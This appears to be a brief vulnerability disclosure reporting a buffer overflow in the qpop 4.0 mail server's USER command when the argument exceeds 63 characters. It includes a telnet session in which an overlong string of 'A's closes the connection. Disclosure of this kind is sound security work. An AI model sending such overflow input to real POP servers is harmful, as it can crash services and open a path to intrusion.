    Recently I came across a buffer overflow in qpop4.0.
    The overflow occures when the input for the 
    command "user" is above  63 chars long. I was not
    able to overflow beyond the edx due to what seems 
    like char filtering beyond a curtain point (being 64).
    
    example :
     Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    +OK 
    user 
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAA
    Connection closed by foreign host.
